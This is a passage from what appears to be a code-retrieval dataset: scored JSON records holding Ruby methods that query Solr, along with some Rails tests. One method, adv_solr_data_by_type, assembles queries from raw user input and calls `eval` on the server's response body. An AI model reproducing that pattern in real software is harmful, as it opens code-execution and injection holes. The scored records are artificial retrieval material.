}, { "docid": "7abb094e1de3a74abe307f2a85c42e54", "score": "0.7058784", "text": "def search_implementation(args)\n\n # 'args' should be a normalized search arguments hash including the following elements:\n # :query, :per_page, :start, :page, :search_field, :sort\n bento_results = BentoSearch::Results.new\n\n # Format is passed to the engine using the configuration set up in the bento_search initializer\n # If not specified, we can maybe default to books for now.\n format = configuration[:blacklight_format] || 'Institutional Repositories'\n\n qp = { q: args[:oq] }.to_param\n # q = URI::encode(args[:oq].gsub(\" \",\"+\"))\n q = qp[2..-1]\n\n uri = get_solr_url(args)\n url = Addressable::URI.parse(uri)\n url.normalize\n\n start = args[:page].is_a?(Integer) ? args[:page] - 1 : 0\n per_page = args[:per_page].is_a?(Integer) ? args[:per_page] : 5\n\n fq = set_fq()\n\n solr = RSolr.connect :url => url.to_s\n solr_response = solr.get 'select', :params => {\n :q => q,\n :fq => fq,\n :start => start * per_page,\n :rows => per_page,\n :fl => '*',\n :defType => 'edismax'\n }\n\n\n results = solr_response['response']['docs']\n\n results.each do |i|\n item = BentoSearch::ResultItem.new\n\n item = solrResult2Bento(i, item)\n\n bento_results << item\n end\n bento_results.total_items = solr_response['response']['numFound']\n\n return bento_results\n end", "title": "" }, { "docid": "5aa12abc18370e7871d4862ff8887278", "score": "0.7057565", "text": "def query_solr(user_params = params || {}, extra_controller_params = {})\n solr_params = self.solr_search_params(user_params).merge(extra_controller_params)\n\n find(solr_params)\n end", "title": "" }, { "docid": "de7e4295ce5c1cdb4d581bb9f235d01e", "score": "0.7048362", "text": "def query_solr(user_params = params || {}, extra_controller_params = {})\n # In later versions of Rails, the #benchmark method can do timing\n # better for us.\n bench_start = Time.now\n solr_params = self.solr_search_params(user_params).merge(extra_controller_params)\n solr_params[:qt] ||= blacklight_config.qt\n path = blacklight_config.solr_path\n\n # delete these parameters, otherwise rsolr will pass them through.\n key = blacklight_config.http_method == :post ? :data : :params\n res = blacklight_solr.send_and_receive(path, {key=>solr_params, method:blacklight_config.http_method})\n\n solr_response = Blacklight::SolrResponse.new(force_to_utf8(res), solr_params)\n\n Rails.logger.debug(\"Solr query: #{solr_params.inspect}\")\n Rails.logger.debug(\"Solr response: #{solr_response.inspect}\") if defined?(::BLACKLIGHT_VERBOSE_LOGGING) and ::BLACKLIGHT_VERBOSE_LOGGING\n Rails.logger.debug(\"Solr fetch: #{self.class}#query_solr (#{'%.1f' % ((Time.now.to_f - bench_start.to_f)*1000)}ms)\")\n\n\n solr_response\n end", "title": "" }, { "docid": "55cd8c51f9c74cde085aa3c163e03623", "score": "0.70426273", "text": "def handle_search(request)\n log.debug self.class.name+\"#handle_search #{uri} #{solr_params}\"\n begin\n \n #fq_bbox = []\n #if params[\"bbox\"]\n # #w,s,e,n = bbox = params[\"bbox\"].split(\" \").map {|c|c.to_f}\n # #fq_bbox = [\"north:[#{s} TO #{n}]\", \"east:[#{w} TO #{e}]\"]\n #end\n\n response = search\n\n # if bulk=true in query, proceed\n if request[\"bulk\"] and request[\"bulk\"] == \"true\"\n\n # collect id's from search results\n ids = []\n response[\"response\"][\"docs\"].each do |doc|\n ids << doc[\"id\"]\n end\n\n log.debug(\"Bulk-query for ids: #{ids}\")\n\n # prepare to POST ids to upstream storage to bulk-fetch the actual documents\n post_env = request.env\n post_env[\"REQUEST_METHOD\"] = \"POST\"\n post_env[\"rack.input\"] = StringIO.new({ \"keys\" => ids }.to_json)\n post_env[\"CONTENT_TYPE\"] = \"application/json\"\n\n # POST to upstream storage and return\n resp = @app.call(post_env)\n return [200, headers(\"json\"), resp.body]\n end\n \n if (\"geojson\" == request.format) or (\"json\" == request.format and request[\"variant\"]=~ /^geo(\\+)?(json)?$/)\n [200, headers(\"geojson\"), [geojson(response).to_json]]\n elsif [\"solr\"].include? request.format\n [200, headers(\"json\"), [response.to_json]]\n elsif [\"csv\", \"xml\"].include? request.format\n #http://wiki.apache.org/solr/CSVResponseWriter\n [200, headers(request.format), [response]]\n elsif (\"array\" == request.format) or (\"json\" == request.format and request[\"variant\"]== \"array\")\n [200, headers(\"json\"), [response[\"response\"][\"docs\"].to_json]]\n else\n \n #[\"html\", \"json\", \"\", nil].include? request.format\n status = response[\"responseHeader\"][\"status\"]\n qtime = response[\"responseHeader\"][\"QTime\"]\n hits = response[\"response\"][\"numFound\"]\n log.debug \"Solr hits=#{hits} status=#{status} qtime=#{qtime}\"\n\n [200, headers(\"json\"), [feed(response).to_json]]\n end\n\n rescue ::RSolr::Error::Http => e\n log.debug self.class.name+\"#handle_search raised RSolr::Error::Http\"\n json_error_from_exception(e)\n end\n end", "title": "" }, { "docid": "37809a0c81bcaa99df6c5b9dbef86a54", "score": "0.7033842", "text": "def solr_search(query)\n docs = Valkyrie::Persistence::Solr::Queries::DefaultPaginator.new\n while docs.has_next?\n results = connection.paginate(docs.next_page, docs.per_page, 'select',\n params: { q: query })\n docs = results['response']['docs']\n docs.each do |doc|\n yield resource_factory.to_resource(object: doc)\n end\n end\n end", "title": "" }, { "docid": "84c9dc919b605878e53da2cd790a1e0b", "score": "0.7022791", "text": "def add_advanced_search_to_solr(solr_parameters)\n end", "title": "" }, { "docid": "476363759223b9ac1b8b21ac1fa1ee33", "score": "0.70221055", "text": "def solr_select\n solr_params = {\n :q => params['q'],\n :fq => params['fq'], # Multiple fq key value pairs get collapsed to one by Rails creating wrong result sets from Solr\n :fl => params['fl'],\n :start => params['start'],\n :rows => params['rows'],\n :sort => params['sort'],\n :wt => 'json',\n :\"json.wrf\" => params['json.wrf'],\n :\"_\" => params['_'] \n } \n solr = RSolr.connect :url => OgpRails::Application.config.solr_url\n solr_response = solr.get 'select', :params => solr_params\n\n respond_to do |format| \n format.html {\n render :json => solr_response\n }\n end\n end", "title": "" }, { "docid": "3abb4e00914d339bf727c7b28a7bd0a3", "score": "0.6984256", "text": "def to_solr\n\n solr_start = 0\n hl_hash = {}\n solr_docs = []\n research_starters = []\n publication_matches = []\n\n if @records.any?\n @records.each { |record|\n\n # todo: add solr hl.tag.pre and hl.tag.post to retrieval criteria\n if retrieval_criteria && retrieval_criteria.fetch('Highlight',{}) == 'y'\n hl_title = record.eds_title.gsub('<highlight>', '<em>').gsub('</highlight>', '</em>')\n hl_hash.update({ record.eds_database_id + '__' + record.eds_accession_number => { 'title_display' => [hl_title]} })\n #hl_hash.merge title_hl\n end\n solr_docs.push(record.to_attr_hash)\n }\n solr_start = solr_docs[0]['eds_result_id']-1\n end\n\n if @research_starters.any?\n @research_starters.each { |record| research_starters.push(record.to_attr_hash) }\n end\n\n if publication_match.any?\n publication_match.each { |record| publication_matches.push(record.to_attr_hash) }\n end\n\n status = 0\n wt = 'ruby'\n qtime = stat_total_time\n qterms = search_terms.join(' ')\n rows = results_per_page\n num_found = stat_total_hits.to_i\n eds_search_limiters_facet = solr_search_limiters\n eds_publication_type_facet = solr_facets('SourceType')\n eds_language_facet = solr_facets('Language')\n eds_subject_topic_facet = solr_facets('SubjectEDS')\n eds_publisher_facet = solr_facets('Publisher')\n eds_journal_facet = solr_facets('Journal')\n eds_subjects_geographic_facet = solr_facets('SubjectGeographic')\n eds_category_facet = solr_facets('Category')\n eds_content_provider_facet = solr_facets('ContentProvider')\n eds_library_location_facet = solr_facets('LocationLibrary')\n eds_library_collection_facet = solr_facets('CollectionLibrary')\n eds_author_university_facet = solr_facets('AuthorUniversity')\n eds_publication_year_range_facet = solr_pub_date_facets\n eds_publication_year_facet = solr_facets('PublicationYear')\n eds_pub_year_tisim = solr_facets('PublicationYear')\n facet = true\n\n # solr response\n solr_response =\n {\n 'responseHeader' => {\n 'status' => status,\n 'QTime' => qtime,\n 'params' => {\n 'q' => qterms,\n 'wt' => wt,\n 'start' => solr_start,\n 'rows' => rows,\n 'facet' => facet\n }\n },\n 'response' => {\n 'numFound' => num_found,\n 'start' => solr_start,\n 'docs' => solr_docs\n },\n 'date_range' => date_range,\n 'research_starters' => research_starters,\n 'publication_matches' => publication_matches,\n 'highlighting' => hl_hash,\n 'facet_counts' =>\n {\n 'facet_fields' => {\n 'eds_search_limiters_facet' => eds_search_limiters_facet,\n 'eds_publication_type_facet' => eds_publication_type_facet,\n 'eds_language_facet' => eds_language_facet,\n 'eds_subject_topic_facet' => eds_subject_topic_facet,\n 'eds_publication_year_facet' => eds_publication_year_facet,\n 'eds_publication_year_range_facet' => eds_publication_year_range_facet,\n 'eds_publisher_facet' => eds_publisher_facet,\n 'eds_journal_facet' => eds_journal_facet,\n 'eds_subjects_geographic_facet' => eds_subjects_geographic_facet,\n 'eds_category_facet' => eds_category_facet,\n 'eds_content_provider_facet' => eds_content_provider_facet,\n 'eds_library_location_facet' => eds_library_location_facet,\n 'eds_library_collection_facet' => eds_library_collection_facet,\n 'eds_author_university_facet' => eds_author_university_facet,\n 'pub_year_tisim' => eds_pub_year_tisim\n }\n }\n }\n\n solr_response.update(solr_spellcheck) if solr_spellcheck\n solr_response\n end", "title": "" }, { "docid": "f150684ee63f50cb8d55c5bc2d04887f", "score": "0.6974345", "text": "def solr_search(params, only_one = false, docs_only = true)\n result = solr_get(params[:q], params)\n docs = result['response']['docs']\n\n if only_one && docs.count == 1\n if docs_only\n docs.first\n else\n result['response']['docs'] = result['response']['docs'].first\n result\n end\n elsif only_one\n raise ActiveFedora::ObjectNotFoundError, 'Object does not exist.'\n else\n (docs_only) ? docs : result\n end\n end", "title": "" }, { "docid": "09634f00d8e6f52b1194ab0830ae0d39", "score": "0.6939122", "text": "def test_find_by_solr_splinter\n ['splinter', 'name:splinter', 'name:splinter AND author:clancy',\n 'author:clancy AND splinter', 'cell tom'].each do |term|\n records = Book.find_by_solr term\n assert_equal 1, records.total\n assert_equal \"Splinter Cell\", records.docs.first.name\n assert_equal \"Tom Clancy\", records.docs.first.author\n assert_equal ({\"id\" => 1, \"category_id\" => 1, \"name\" => \"Splinter Cell\",\n \"author\" => \"Tom Clancy\", \"published_on\" => (Date.today - 1.year), \"type\" => nil}), records.docs.first.attributes\n end\n end", "title": "" }, { "docid": "b2e1bde34d4ef20c8525c7a592b491cd", "score": "0.69312453", "text": "def direct_solr_query(type, query)\n # NOTE: in production, I believe we use 'fq' for filtering on the\n # Chef Object type (in addition to filtering based on org). We\n # don't have an easy way to access the org's guid in the tests, so\n # I'm not using that. In any event, the following query works.\n url = \"#{Pedant::Config.search_server}#{Pedant::Config.search_url_fmt}\" % {:type => CGI.escape(type), :query => CGI.escape(query)}\n headers = get_search_headers()\n sleep Pedant::Config.direct_solr_query_sleep_time\n r = RestClient.send :get, url, headers\n parse(r)\n end", "title": "" }, { "docid": "87c2b66ce006ee3c3e9522cbe58ba9d7", "score": "0.6915967", "text": "def search\n search_parameters = SolrParams.new\n\n yield(search_parameters)\n\n params = search_parameters.to_h\n\n # If making a search use the /search handler otherwise use /select. /select\n # queries with just filters are faster than /search queries.\n handler = (params[:q].blank?) ? 'select' : 'search'\n\n connection.get(handler, params: params)\n end", "title": "" }, { "docid": "9f3bce2ac286d7223d1efff0a1a4d736", "score": "0.6911785", "text": "def test_find_by_solr_ruby\n ['ruby', 'dummy', 'name:ruby', 'name:dummy', 'name:ruby AND author:peter', \n 'author:peter AND ruby', 'peter dummy'].each do |term|\n records = Book.find_by_solr term\n assert_equal 1, records.size\n assert_equal \"Peter McPeterson\", records.first.author\n assert_equal \"Ruby for Dummies\", records.first.name\n assert_equal ({\"id\" => 2, \n \"category_id\" => 2, \n \"name\" => \"Ruby for Dummies\", \n \"author\" => \"Peter McPeterson\"}), records.first.attributes\n end\n end", "title": "" }, { "docid": "7ca58d2a69009c37b115f4d7b6a9f3eb", "score": "0.6878273", "text": "def simple\r\n\r\n res = Array.new\r\n\r\n search_type = params[:search_type]\r\n term = params[:term]\r\n address1 = params[:address1] if params.has_key? :address1\r\n zipcode = params[:zipcode] if params.has_key? :zipcode\r\n\r\n # SOLR query\r\n #$q = URI::encode(\"^\" + term)\r\n #uri = URI(\"http://67.23.43.218:8080/solr/collection1/select?q=address1%3A%22\" + $q.to_s + \"*%22&rows=1000&df=address1&wt=json\");\r\n #res = Net::HTTP.get(uri)\r\n ###if (current_user.has_trex_admin?)\r\n if (current_user)\r\n if (params[:sort].blank?)\r\n tenant_records = SaleRecord.address_only\r\n else\r\n #tenant_records = TenantRecord.protect_view(current_user)\r\n end\r\n else # Check if firm_admin vs office_admin vs broker, vs analyst\r\n if (params[:sort].blank?)\r\n ######tenant_records = scope_address_only_office_user(params, current_user)\r\n else\r\n #####tenant_records = scope_protect_view_office_user(params, current_user)\r\n end\r\n end\r\n\r\n clause = if address1.present? and zipcode.present?\r\n { :where => \"LOWER(sale_records.address1) = :address1 AND sale_records.zipcode = :zipcode\",\r\n :params => { :address1 => address1.downcase, :zipcode => zipcode.to_s }\r\n }\r\n elsif term.present?\r\n term = term.strip.gsub(/[\\.\\s]/, '%') + '%'\r\n case search_type\r\n when 'company'\r\n { :where => \"LOWER(tenant_records.company) LIKE :company\",\r\n :params => { :company => term.downcase }\r\n }\r\n when 'property_name'\r\n { :where => \"LOWER(tenant_records.property_name) LIKE :property_name\",\r\n :params => { :property_name => term.downcase }\r\n }\r\n when 'submarket'\r\n { :where => \"LOWER(tenant_records.submarket) LIKE :submarket\",\r\n :params => { :submarket => term.downcase }\r\n }\r\n else\r\n { :where => \"LOWER(sale_records.address1) LIKE :address1\",\r\n :params => { :address1 => term.downcase }\r\n }\r\n end\r\n end\r\n\r\n\r\n # MySQL query\r\n unless (clause.nil?)\r\n\r\n @connections = Connection.all_connection_ids(current_user)\r\n if current_user.settings.outofnetwork\r\n @out_ids = UserSetting.select(\"user_id\").where(\"outofnetwork = True\").all.map{|v| v.user_id }\r\n\r\n if @out_ids.count > 0\r\n @connections = @connections + @out_ids\r\n end\r\n end\r\n tenant_records = tenant_records.where(\"user_id IN (?) OR user_id=?\" , @connections.to_a,current_user.id)\r\n\r\n tenant_records = tenant_records.where(clause[:where], clause[:params])\r\n params['summary'] = false\r\n results = case search_type\r\n when 'company'\r\n tenant_records.order('company')\r\n when 'property_name'\r\n tenant_records.order('property_name')\r\n when 'submarket'\r\n tenant_records.order('submarket')\r\n else\r\n tenant_records.order('address1')\r\n end\r\n res = { :params => {:tenant_record => params }, :response => { :type => 'basic', :numFound => results.length, :docs => results } }\r\n end\r\n\r\n respond_to do |format|\r\n format.json { render :json => res }\r\n end\r\n\r\n end", "title": "" }, { "docid": "c7b471ffe37745ab09336446ae8be962", "score": "0.6858862", "text": "def search\n \n end", "title": "" }, { "docid": "2667ea751f393ec690790dfdd22fe83c", "score": "0.6827614", "text": "def get_solr_response_for_doc_id(id=nil, extra_controller_params={})\n unless @current_search_session.nil?\n extra_controller_params[\"hl.q\".to_sym] ||= []\n extra_controller_params[\"hl.q\".to_sym] << @current_search_session.query_params[:q]\n end \n super\n end", "title": "" }, { "docid": "3ed4f787a4b272838f3d86962268725b", "score": "0.6802156", "text": "def to_solr\n\n records = @records || []\n solr_docs = records.map(&:to_attr_hash)\n\n solr_start = solr_docs.first&.dig('eds_result_id')\n solr_start = solr_start ? (solr_start.to_i - 1) : 0\n\n # Solr execution parameters to be reported in the response.\n params = {\n q: search_terms.join(' '),\n wt: 'ruby',\n start: solr_start,\n rows: results_per_page,\n facet: true\n }\n\n # General facet property params.\n fparams = {\n 'facet.field' => (@facet_field_array || @facet_field),\n 'facet.sort' => @facet_sort,\n 'facet.limit' => @facet_limit,\n 'facet.offset' => @facet_offset,\n 'facet.prefix' => @facet_prefix,\n }\n params.merge!(fparams)\n\n # Facet-specific facet property params.\n ffparams = @raw_options.select { |k, _| k =~ /^f\\.[^.]+\\.facet\\.[^.]+$/ }\n params.merge!(ffparams)\n params.delete_if { |_, v| v.blank? }\n\n # Suggestions and corrections.\n spellcheck = solr_spellcheck.presence\n\n # Search match highlighting.\n highlighting =\n if retrieval_criteria['Highlight'] == 'y'\n records.map { |record|\n db_an = record.eds_database_id + '__' + record.eds_accession_number\n hl_title = record.eds_title.gsub(%r{<(/?)highlight>}, '<\\1em>')\n [db_an, { 'title_display' => [hl_title] }]\n }.to_h.presence\n end\n\n # Research starters.\n research_starters = @research_starters.map(&:to_attr_hash).presence\n\n # Publication matches.\n publication_matches = @publication_match.map(&:to_attr_hash).presence\n\n # Fill in the Solr response, transforming EDS facet result arrays into\n # flattened value/count arrays. Facet pagination parameters will be\n # applied to the facet associated with @eds_facet.\n res = {\n responseHeader: {\n status: 0,\n QTime: @stat_total_time,\n params: params\n },\n response: {\n numFound: @stat_total_hits,\n start: solr_start,\n docs: solr_docs\n },\n date_range: date_range,\n facet_counts: {\n facet_fields: {\n eds_search_limiters_facet: solr_search_limiters,\n eds_publication_type_facet: solr_facets('SourceType'),\n eds_language_facet: solr_facets('Language'),\n eds_subject_topic_facet: solr_facets('SubjectEDS'),\n eds_publication_year_facet: solr_facets('PublicationYear'),\n eds_publication_year_range_facet: solr_pub_date_facets,\n eds_publisher_facet: solr_facets('Publisher'),\n eds_journal_facet: solr_facets('Journal'),\n eds_subjects_geographic_facet: solr_facets('SubjectGeographic'),\n eds_category_facet: solr_facets('Category'),\n eds_content_provider_facet: solr_facets('ContentProvider'),\n eds_library_location_facet: solr_facets('LocationLibrary'),\n eds_library_collection_facet: solr_facets('CollectionLibrary'),\n eds_author_university_facet: solr_facets('AuthorUniversity'),\n pub_year_tisim: solr_facets('PublicationYear')\n }\n }\n }\n res.merge!(spellcheck) if spellcheck\n res.merge!(highlighting: highlighting) if highlighting\n res.merge!(research_starters: research_starters) if research_starters\n res.merge!(publication_matches: publication_matches) if publication_matches\n res.deep_stringify_keys!\n end", "title": "" }, { "docid": "9c3f40e4675de196badf1eb514439fd2", "score": "0.6799315", "text": "def search\n\t\t\n\tend", "title": "" }, { "docid": "4f3dccc08928bfbddb96fbb4c6b24e1a", "score": "0.679406", "text": "def search\n @foods = Food.search do\n keywords params[:query1]\n keywords params[:query2]\n end.results\n \n if @foods[0] == nil\n @foods = Food.solr_search do\n keywords params[:query1]\n end.results \n \n \n \n \n \n # #1.두부김치\n # @url = 'https://terms.naver.com/entry.nhn?docId=1286417&cid=40942&categoryId=32136'\n # @page = RestClient.get(@url)\n # @doc = Nokogiri::HTML(@page)\n # @info = @doc.css('div.size_ct_v2 > p')\n \n # c = Content.new\n # c.content = @info\n # c.save\n \n # #2.치즈스틱\n # @url = 'https://terms.naver.com/entry.nhn?docId=1524877&cid=48169&categoryId=48223'\n # @page = RestClient.get(@url)\n # @doc = Nokogiri::HTML(@page)\n # @info = @doc.css('p.txt')\n \n # c = Content.new\n # c.content = @info\n # c.save\n \n # #3.돼지갈비구이\n # @url = 'https://terms.naver.com/entry.nhn?docId=1084776&cid=40942&categoryId=32136'\n # @page = RestClient.get(@url)\n # @doc = Nokogiri::HTML(@page)\n # @info = @doc.css('p.txt')\n \n # c = Content.new\n # c.content = @info\n # c.save\n \n # #4.계란말이\n # @url = 'https://terms.naver.com/entry.nhn?docId=3543696&cid=40942&categoryId=32136'\n # @page = RestClient.get(@url)\n # @doc = Nokogiri::HTML(@page)\n # @info = @doc.css('p.txt')\n \n # c = Content.new\n # c.content = @info\n # c.save\n \n # #5.타코야키\n # @url = 'https://terms.naver.com/entry.nhn?docId=1225586&cid=40942&categoryId=32129'\n # @page = RestClient.get(@url)\n # @doc = Nokogiri::HTML(@page)\n # @info = @doc.css('p.txt')\n \n # c = Content.new\n # c.content = @info\n # c.save\n \n # #6.제육볶음\n # @url = 'https://terms.naver.com/entry.nhn?docId=1286421&cid=40942&categoryId=32136'\n # @page = RestClient.get(@url)\n # @doc = Nokogiri::HTML(@page)\n # @info = @doc.css('p.txt')\n \n # c = Content.new\n # c.content = @info\n # c.save\n \n # #7.떡볶이\n # @url = 'https://terms.naver.com/entry.nhn?docId=1086421&cid=40942&categoryId=32136'\n # @page = RestClient.get(@url)\n # @doc = Nokogiri::HTML(@page)\n # @info = @doc.css('div.size_ct_v2 > p')\n \n # c = Content.new\n # c.content = @info\n # c.save\n \n # #8.돼지곱창구이\n # @url = 'https://terms.naver.com/entry.nhn?docId=1988140&cid=48164&categoryId=48202'\n # @page = RestClient.get(@url)\n # @doc = Nokogiri::HTML(@page)\n # @info = @doc.css('div.size_ct_v2 > p')\n \n # c = Content.new\n # c.content = @info\n # c.save\n\n \n end\n \n respond_to do |format|\n format.html {render :action => \"search\"}\n format.xml {render :xml => @posts }\n end\n end", "title": "" }, { "docid": "38e238bef783ca8e24175e4acc8c8fb5", "score": "0.6794012", "text": "def search\n\n end", "title": "" }, { "docid": "32a5b768fce17cd90ab96e2e3fae4328", "score": "0.6783962", "text": "def aspace_solr_query(query, params={})\n solr_url = \"http://#{ENV['archivesspace_solr_host']}#{ENV['archivesspace_solr_core_path']}\"\n @solr = RSolr.connect :url => solr_url\n @solr_params = {:q => query }\n @solr_params.merge! params\n @response = @solr.get 'select', :params => @solr_params\n end", "title": "" }, { "docid": "a748ec418011a8de8ef488954bb639b2", "score": "0.6783483", "text": "def test_find_by_solr_splinter\n ['splinter', 'name:splinter', 'name:splinter AND author:clancy', \n 'author:clancy AND splinter', 'cell tom'].each do |term|\n records = Book.find_by_solr term\n assert_equal 1, records.size\n assert_equal \"Splinter Cell\", records.first.name\n assert_equal \"Tom Clancy\", records.first.author\n assert_equal ({\"id\" => 1, \"category_id\" => 1, \"name\" => \"Splinter Cell\", \n \"author\" => \"Tom Clancy\"}), records.first.attributes\n end\n end", "title": "" }, { "docid": "867db56e2207cedd8daad64fe8eb4c36", "score": "0.67775166", "text": "def find(*args)\n # response = Blacklight.solr.find(*args)\n\n # add header-adding override code here\n path, params, opts = request_arguments_for(*args)\n if (opts.has_key?(:headers))\n # if headers hash already exists, add the header parameters we want... NOTE: these headers may be duplicates in existing headers hash\n opts[:headers].merge!(get_header_params[:headers])\n else\n opts.merge!(get_header_params)\n end\n\n # save query parser value (if it exists) because it can change, depending upon search, and we need it to retrieve ids (in private methods inside\n # folder_controller.rb)\n if (params.has_key?(:defType))\n session[:search][:defType] = params[:defType]\n else\n session[:search].delete(:defType)\n end\n response = Blacklight.solr.find(path, params, opts)\n\n force_to_utf8(response)\n rescue Errno::ECONNREFUSED => e\n raise Blacklight::Exceptions::ECONNREFUSED.new(\"Unable to connect to Solr instance using #{Blacklight.solr.inspect}\")\n end", "title": "" }, { "docid": "030c04253defcd4c74fbb7e59b0e2fbb", "score": "0.6766044", "text": "def find *args\n solr_params = args.extract_options!\n path = args.first || blacklight_config.solr_path\n\n solr_params[:qt] ||= blacklight_config.qt\n\n solr_repository.send_and_receive path, solr_params\n end", "title": "" }, { "docid": "a5ae7e655eb7167a6857f4e6f969db03", "score": "0.6749494", "text": "def search\n\n end", "title": "" }, { "docid": "a5ae7e655eb7167a6857f4e6f969db03", "score": "0.6749494", "text": "def search\n\n end", "title": "" }, { "docid": "b6fe87b7ab394cad3912fe3da22cd438", "score": "0.67327636", "text": "def find_all\n Valkyrie::Persistence::Solr::Queries::FindAllQuery.new(connection: connection, resource_factory: resource_factory).run\n end", "title": "" }, { "docid": "e388fe0f207499e3d74ea2776fdd3b28", "score": "0.67291987", "text": "def search\n query_terms = []\n start = params[:start]\n start = 0 if start.nil?\n len = params[:length]\n if len.nil?\n len = 100\n else\n len = len.to_i\n end\n\n lib_filter = params[:l]\n if !lib_filter.blank? && lib_filter != \"Any\"\n query_terms << \"library = '#{lib_filter}'\"\n end\n\n sys_filter =params[:sys]\n if !sys_filter.blank? && sys_filter != \"Any\"\n query_terms << \"classification_system = '#{sys_filter}'\"\n end\n\n class_filter = params[:c]\n if !class_filter.blank? && class_filter != \"Any\"\n query_terms << \"classification = '#{class_filter}'\"\n end\n\n subclass_filter = params[:s]\n if !subclass_filter.blank? && subclass_filter != \"Any\"\n query_terms << \"subclassification = '#{subclass_filter}'\"\n end\n\n i_filter = params[:i]\n i_filter = \"any\" if i_filter.blank?\n intervention_term = get_intervention_term( i_filter )\n query_terms << intervention_term if !intervention_term.blank?\n\n status_filter = params[:status]\n if !status_filter.blank? && status_filter != \"Any\"\n query_terms << \"ls.result = '#{status_filter}'\"\n end\n\n q = params[:q]\n if !q.blank?\n field = params[:field]\n field = \"all\" if field.nil?\n full = params[:full]\n full = \"true\" if full.nil?\n q_val = \"#{q}|#{field}|#{full}\"\n query_terms << get_query_term(q_val, intervention_term)\n end\n\n order_col = get_order_column( params[:oc].to_i)\n order_str = \"#{order_col} #{params[:od]}\"\n\n format = params[:format]\n format = \"json\" if format.nil?\n format = format.downcase\n if format != \"json\" && format != \"csv\"\n render plain: \"Invalid format #{format}\", status: :error\n else\n if format == \"csv\"\n len = 0\n start = 0\n end\n total, filtered, res = do_search(query_terms, start, len, order_str)\n if format == \"json\"\n render json: {\n total: total, filtered: filtered, start: start, length: len,\n data: res.as_json(except: [\"created_at\", \"updated_at\", \"who_checked\", \"id\"]) }\n else\n send_file( get_csv_results(res), {filename: \"results.csv\"} )\n end\n end\n end", "title": "" }, { "docid": "7a9bfe562082f4c96865805a70feee7a", "score": "0.67175233", "text": "def adv_solr_data_by_type(searchterm, start, rows, sort, username, fq, parent_url, requrl = '', type, show_all)\n puts \"---------TYPE INFORMATION GOES HERE-----------#{type}----\"\n url = URI.parse(APP_CONFIG[:solr_server])\n connection = Net::HTTP.new(url.host, url.port)\n follower = Follower.followings(username,1) << username\n followerstr = follower.join(\" \")\n\n followers_boost = follower.collect { |f|\n \"(id:person-#{f})^20\"\n }\n\n #usertags = Usertags.top_tags(username)\n usertags = []\n\n followers_boost = followers_boost + usertags.collect do |t|\n t[0] = t[0].gsub(\"&\", \"\")\n \"(tags:#{t[0]})^#{t[1]}\"\n end\n\n usertags_params = ''\n\n strsort = ''\n if(sort == 'ctd')\n strsort = 'createdtime desc'\n elsif(sort == 'cta')\n strsort = 'createdtime asc'\n elsif(sort == 'cba')\n strsort = 'createdby asc'\n end\n\n if true\n #always include external links description for now\n queryterm = searchterm\n qfstr = \"id^10 maintext^10 linkdesc^1.0 attachmentcontent^1.0 tags^7.5 description^5.0\"\n else\n queryterm = searchterm\n qfstr = \"id^10 maintext^10 linkdesc^1.0 attachmentcontent^1.0 tags^7.5 description^5.0\"\n end\n\n parenturl = ''\n if parent_url.present?\n parenturl = \"url:#{parent_url}/*\"\n end\n\n logger.info 'query term...........' + queryterm.inspect\n row_str = rows.present? ? \"&rows=\"+rows.to_s : '&rows=10000'\n begin\n addtype = removetype = createdByType = additionalInCondition = \"\"\n\n if fq.present?\n\n fq = URI.unescape(fq)\n #requrl = URI.unescape(requrl.sub(/q=([^&]*)&/, \"\"))\n requrl = URI.unescape(requrl.sub(\"&q=#{searchterm}\", \"\"))\n\n puts \"--ALL THE REFINE SEARCH PARAMETER GOES HERE---#{requrl.inspect}\"\n if type.present?\n if type == \"others\"\n additionalCondition = \" OR (type:(file person training)) \"\n else\n addtype = \"(type:#{type}#{additionalInCondition})\"\n end\n end\n\n if(parenturl.present?)\n addtype = addtype.present? ? (\"#{addtype} AND #{parenturl}\") : parenturl\n end\n strsort = 'createdtime desc' if fq == 'type:training' && sort == ''\n queryterm = queryterm.gsub('%3A',':').gsub('%2B',' ').gsub('%2A','*')\n minusresults = \"#{addtype} -((type:(buzz event question_answer meeting) AND -createdby:(\" + followerstr.to_s + \")) #{additionalCondition} OR (type:file AND (location:workflow OR location:expired OR location:publish_deleted)) OR (type:folder AND location:publish_deleted))\"\n\n strparams = URI.escape(\"qf=\" + qfstr + \"&bq=\" + followers_boost.join(',') + \"&omitHeader=true&version=2.2&start=\"+start.to_s+row_str+\"&wt=ruby&indent=on&sort=\"+strsort+\"&q=\" + queryterm + \"&\" + requrl + \"&fq=\"+ minusresults).gsub(\"__x__\", \"%2B\")\n\n logger.info \"path1......#{addtype.inspect}.....\" + url.path + \"/select?\" + strparams\n\n result = connection.post(url.path + \"/select\", strparams)\n else\n if type.present?\n if type == \"others\"\n additionalCondition = \" OR (type:(file person training)) \"\n else\n addtype = \"type:#{type}#{additionalInCondition}\"\n end\n end\n puts \"------QUERY TERM-------------------------#{queryterm}\"\n queryterm = queryterm.gsub('%3A',':').gsub('%2B',' ').gsub('%2A','*')\n puts \"------QUERY TERM NEW-------------------------#{queryterm}\"\n minusresults = \"#{addtype} -((type:(buzz event question_answer meeting) AND -createdby:(\" + followerstr.to_s + \")) #{additionalCondition} OR (type:file AND (location:workflow OR location:expired OR location:publish_deleted)) OR (type:folder AND location:publish_deleted))\"\n strparams = URI.escape(\"bq=\" + followers_boost.join(',') + \"&omitHeader=true&version=2.2&start=\"+start.to_s+row_str+\"&wt=ruby&indent=on&sort=\"+strsort+\"&q=\" + queryterm + \"&fq=\" + minusresults).gsub(\"__x__\", \"%2B\")\n result = connection.post(url.path + \"/select\", strparams)\n end\n solr_url = \"#{url.path}/select?#{strparams}\"\n puts \"***SOLR URL*****************#{solr_url}**********\"\n unless result.code.to_s == '200'\n SolrException.create(:solr_url => solr_url, :status_code => result.code.to_s, :solr_exception => result.body.to_s)\n end\n data = eval(result.body)\n raise \"Bad Request\" if result.class.to_s == \"Net::HTTPBadRequest\"\n rescue => e\n puts \"*****EXCEPTION*****************************************#{e.inspect}\"\n data = Hash.new\n end\n return data\n end", "title": "" }, { "docid": "c8d812f360f37b9b4f4fda07cd757868", "score": "0.6706433", "text": "def rsolr\n @klass.solr_connection\n end", "title": "" }, { "docid": "03906a6c9143a2e91226a83f9febfddc", "score": "0.6691468", "text": "def execute\r\n search\r\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": 